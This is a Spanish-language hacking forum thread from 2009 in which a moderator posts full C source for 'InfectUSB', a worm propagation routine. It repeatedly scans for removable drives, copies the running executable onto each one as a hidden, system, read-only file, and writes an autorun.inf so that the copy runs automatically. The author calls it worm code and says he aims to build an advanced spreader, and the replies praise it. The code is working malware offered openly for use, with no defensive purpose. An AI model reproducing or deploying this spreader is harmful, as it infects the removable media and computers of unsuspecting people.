elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
14 Febrero 2012, 07:40  


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderadores: Karcrack, [Zero])
| | |-+  [SRC][C] Infección USB
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [SRC][C] Infección USB  (Leído 2,675 veces)
[Zero]
Moderador
***
Desconectado Desconectado

Mensajes: 1.050


CALL DWORD PTR DS:[0]


Ver Perfil WWW
[SRC][C] Infección USB
« en: 17 Junio 2009, 22:13 »

Descansando algo de los examenes y cogiendo ritmo para el varano  :xD.

Código
////////////////////////////////////////////////////////////////
//Autor: Hacker_Zero
//Web: http://www.eduhack.es
//Descripcion: Función que infecta unidades extraíbles con
//un autorun y un ejecutable
/////////////////////////////////////////////////////////////////////////
 
 
void InfectUSB()
{
//String con el contenido del AutoRun
LPSTR txtAutoRun="[autorun]\nshellexecute=miBicho.exe\nUseAutoPlay=1";
DWORD dwBytes;
 
LPSTR AppName=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
GetModuleFileName(0,AppName,MAX_PATH);
 
LPSTR lpUnidades=(LPSTR)GlobalAlloc(GPTR,512);
 
while(1)
{
//La API devuelve la longitud de la cadena
DWORD numUnidades=GetLogicalDriveStringsA(512,lpUnidades);
 
//Dividimos la longitud de la cadena entre 4 para obtener el número de unidades
//Ej: 'A:\{nulo}B:\{nulo}C:\{nulo}{nulo}'
numUnidades=numUnidades/4;
 
//Hacemos backup del puntero para ir desplazandonos por él
LPSTR lpTemp=lpUnidades;
 
 
for(DWORD i=0;i<numUnidades;i++)
{
//Comprobamos si la unidad es extraíble y que no se trate de una disquetera
if((GetDriveType(lpTemp) == DRIVE_REMOVABLE && lpTemp[0]!='A'))
{
//Creamos las rutas para el Worm y el Autorun
LPSTR WormPath=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
lstrcat(WormPath,lpTemp);
lstrcat(WormPath,"miBicho.exe");
 
LPSTR AutorunPath=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
lstrcat(AutorunPath,lpTemp);
lstrcat(AutorunPath,"autorun.inf");
 
if(!PathFileExistsA(WormPath))
{
//Copiamos el worm al usb
CopyFileA(AppName,WormPath,FALSE);
 
//Ponemos atributos de oculto, de sistema y de sólo lectura al worm
SetFileAttributesA(WormPath,FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM+FILE_ATTRIBUTE_READONLY);
 
//Creamos el AutoRun
HANDLE hFile=CreateFileA(AutorunPath,GENERIC_WRITE,0,0,CREATE_ALWAYS,0,0);
DWORD szAutoRun=lstrlenA(txtAutoRun);
WriteFile(hFile,txtAutoRun,szAutoRun,&dwBytes,0);
CloseHandle(hFile);
 
//Ponemos atributos de oculto, de sistema y de sólo lectura al autorun
SetFileAttributesA(AutorunPath,FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM+FILE_ATTRIBUTE_READONLY);
}
}
 
lpTemp=lpTemp+4;
}
 
GlobalFree(lpTemp);
Sleep(2000);
}
}
 

El primer código de algo parecido a un worm que hago  ;D, es necesario asignarle un nuevo thread al llamarlo porque se queda en un bucle infinito buscando usb's. Aspiro poder programar un spreader avanzado éste verano  :P.

Saludos
« Última modificación: 21 Junio 2009, 11:03 por Hacker_Zero » En línea


“El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.”
Nietzsche
Karcrack
Moderador
***
Desconectado Desconectado

Mensajes: 2.132


Se siente observado ¬¬'


Ver Perfil
Re: [SRC][C] Infección USB
« Respuesta #1 en: 17 Junio 2009, 23:23 »

Buen codigo ;D, aunque no soy el mas indicado para decirlo... :P Me gustan mas los Hooks :rolleyes:

Es bueno ver que descansas del Virus Metamorph ;D Este verano al 110% eh!?! :xD

A ver cuando me das es clases de C para Incapacitados Mentales :laugh: :laugh:

Saludos :D
En línea

Arkangel_0x7C5

Desconectado Desconectado

Mensajes: 289



Ver Perfil
Re: [SRC][C] Infección USB
« Respuesta #2 en: 18 Junio 2009, 04:06 »

Cita de: Karcrack link=topic=258426.msg1254763#msg1254763
A ver cuando me das es clases de C para Incapacitados Mentales :laugh: :laugh:

Saludos :D
XD tampoco creo que sea pa tanto. Yo creo que si te lo explican bien lo aprenderás fácil. y mas si sabes asm

Saludos

PD:buen code Hacker_Zero, un poco visto pero todo hay que hacerlo alguna vez para saber hacerlo (si piensan mal acertaran).
En línea

Erik#


Desconectado Desconectado

Mensajes: 1.138


Pertenezco a Reach


Ver Perfil
Re: [SRC][C] Infección USB
« Respuesta #3 en: 22 Junio 2009, 11:32 »

Esto sirve para que tu programa sea el que sea se copie a un usb verdad?
En línea
[Zero]
Moderador
***
Desconectado Desconectado

Mensajes: 1.050


CALL DWORD PTR DS:[0]


Ver Perfil WWW
Re: [SRC][C] Infección USB
« Respuesta #4 en: 22 Junio 2009, 15:11 »

Exacto, se autocopia a las unidades us.

Saludos  ;)
En línea


“El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.”
Nietzsche
Erik#


Desconectado Desconectado

Mensajes: 1.138


Pertenezco a Reach


Ver Perfil
Re: [SRC][C] Infección USB
« Respuesta #5 en: 22 Junio 2009, 16:10 »

Yo me lio mucho con la winapi, es muy rara.
En línea
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Ejemplo de infección mediante TLS Callbacks
Análisis y Diseño de Malware
The Swash 0 410 Último mensaje 16 Mayo 2011, 02:16
por The Swash
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines